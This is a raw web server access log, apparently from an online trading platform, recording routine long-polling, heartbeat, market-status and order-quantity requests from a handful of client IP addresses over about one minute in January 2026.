[09/Jan/2026:15:10:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942906513 HTTP/1.1" -
[09/Jan/2026:15:10:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942900566 HTTP/1.1" -
[09/Jan/2026:15:10:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942902241 HTTP/1.1" -
[09/Jan/2026:15:10:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942902514 HTTP/1.1" -
[09/Jan/2026:15:10:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942919726 HTTP/1.1" -
[09/Jan/2026:15:10:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942911602 HTTP/1.1" -
[09/Jan/2026:15:10:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942905626 HTTP/1.1" -
[09/Jan/2026:15:10:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942907316 HTTP/1.1" -
[09/Jan/2026:15:10:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942907557 HTTP/1.1" -
[09/Jan/2026:15:10:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942924785 HTTP/1.1" -
[09/Jan/2026:15:10:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942916720 HTTP/1.1" -
[09/Jan/2026:15:10:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942910746 HTTP/1.1" -
[09/Jan/2026:15:10:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942912397 HTTP/1.1" -
[09/Jan/2026:15:10:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942912579 HTTP/1.1" -
[09/Jan/2026:15:10:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942929861 HTTP/1.1" -
[09/Jan/2026:15:10:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942921802 HTTP/1.1" -
[09/Jan/2026:15:10:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942916020 HTTP/1.1" -
[09/Jan/2026:15:10:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942917420 HTTP/1.1" -
[09/Jan/2026:15:10:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942917623 HTTP/1.1" -
[09/Jan/2026:15:10:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942934920 HTTP/1.1" -
[09/Jan/2026:15:10:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942926838 HTTP/1.1" -
[09/Jan/2026:15:10:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942921150 HTTP/1.1" -
[09/Jan/2026:15:10:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942922449 HTTP/1.1" -
[09/Jan/2026:15:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942922662 HTTP/1.1" -
[09/Jan/2026:15:10:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942939942 HTTP/1.1" -
[09/Jan/2026:15:10:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942931972 HTTP/1.1" -
[09/Jan/2026:15:10:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942926334 HTTP/1.1" -
[09/Jan/2026:15:10:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942927491 HTTP/1.1" -
[09/Jan/2026:15:10:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942927711 HTTP/1.1" -
[09/Jan/2026:15:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942945003 HTTP/1.1" -
[09/Jan/2026:15:11:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942937000 HTTP/1.1" -
[09/Jan/2026:15:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942931377 HTTP/1.1" -
[09/Jan/2026:15:11:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942932585 HTTP/1.1" -
[09/Jan/2026:15:11:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942932734 HTTP/1.1" -
[09/Jan/2026:15:11:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942950066 HTTP/1.1" -
[09/Jan/2026:15:11:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942942089 HTTP/1.1" -
[09/Jan/2026:15:11:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942936462 HTTP/1.1" -
[09/Jan/2026:15:11:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942937664 HTTP/1.1" -
[09/Jan/2026:15:11:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942937777 HTTP/1.1" -
[09/Jan/2026:15:11:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942955124 HTTP/1.1" -
[09/Jan/2026:15:11:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942947180 HTTP/1.1" -
[09/Jan/2026:15:11:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942941587 HTTP/1.1" -
[09/Jan/2026:15:11:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942942743 HTTP/1.1" -
[09/Jan/2026:15:11:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942942800 HTTP/1.1" -
[09/Jan/2026:15:11:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942960191 HTTP/1.1" -
[09/Jan/2026:15:11:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942952256 HTTP/1.1" -
[09/Jan/2026:15:11:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942946771 HTTP/1.1" -
[09/Jan/2026:15:11:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942947921 HTTP/1.1" -
[09/Jan/2026:15:11:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942947834 HTTP/1.1" -
[09/Jan/2026:15:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942965264 HTTP/1.1" -
[09/Jan/2026:15:11:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942957290 HTTP/1.1" -
[09/Jan/2026:15:11:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942952948 HTTP/1.1" -
[09/Jan/2026:15:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942951907 HTTP/1.1" -
[09/Jan/2026:15:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942952878 HTTP/1.1" -
[09/Jan/2026:15:11:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:11:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:11:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942970301 HTTP/1.1" -
[09/Jan/2026:15:11:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
